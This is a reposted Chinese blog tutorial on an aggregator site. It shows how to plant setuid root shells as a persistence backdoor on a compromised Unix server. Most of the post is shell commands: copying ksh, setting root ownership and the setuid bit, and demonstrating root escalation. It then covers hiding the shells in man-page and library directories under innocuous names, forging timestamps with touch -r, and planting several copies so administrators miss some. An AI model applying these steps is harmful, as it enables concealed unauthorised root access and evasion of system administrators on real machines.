欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

suid shell

发布时间:2025/3/19 编程问答 27 豆豆
生活随笔 收集整理的这篇文章主要介绍了 suid shell 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

在 /tmp 或者其他的目录下放置 suid shell。以后只要你运行这个,就会轻易得到根用户权限。
  
  #cp /bin/ksh /tmp/.sh
  
  #chown root:root /tmp/.sh
  
  #chmod +s /tmp/.sh
  
  当你运行/tmp/.sh时,
  
  这里我们用ksh shell是因为ksh 可以suid.换成其他的shell也许可能不行,具体看各个主机的情况而定.一般我们使用ksh.我们使用的溢出用来获得root权限的,也一般是溢出后执行/bin/ksh.
  
  $id
  
  uid=1002(oracle) gid=1(other)
  
  $/tmp/.sh
  
  #
  
  #id
  
  uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)
  
  我们又是root了.
  
  当然,为了更加隐蔽,我们不能把suid shell 放在/tmp
  
  因为它是很容易被发现的.
  
  我们应该放在深层的目录里面.
  
  比如:
  
  /usr/X11/include/X11/
  
  或者
  
  /usr/lib/
  
  等等
  
  通常我做的是:
  
  # mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...
  
  # cp /bin/ksh /usr/lib/lib/.../lib
  
  # chown root:sys /usr/lib/lib/.../lib
  
  # chmod 4555 /usr/lib/lib/.../lib
  
  # touch -r /bin/ksh /usr/lib/lib/.../lib
  
  一个简单的suid shell安放好了.
  
  不过,大家不要学我,我们要放在最隐蔽的地方.我新建目录的隐藏效果不是最好的.
  
  我们必须利用现有的目录来安放,并且这个目录要有很多其它的文件做掩护.
  
  大家不防试试/usr/man/下的目录.
  
  很少管理员会检查这里的.
  
  比如:
  
  /usr/man/man1/
  
  /usr/man/manl/
  
  等.
  
  比如:
  
  # cp /bin/ksh /usr/man/man1/ja.1
  
  :)当然具体要看你自己琢磨一下了.我敢说不难,最好多放置几个suid shell 在不同的目录.这样即使管理员发现了一个,也还有另外一个.:)


 

转载于:https://blog.51cto.com/linkboy/300416

总结

以上是生活随笔为你收集整理的suid shell的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。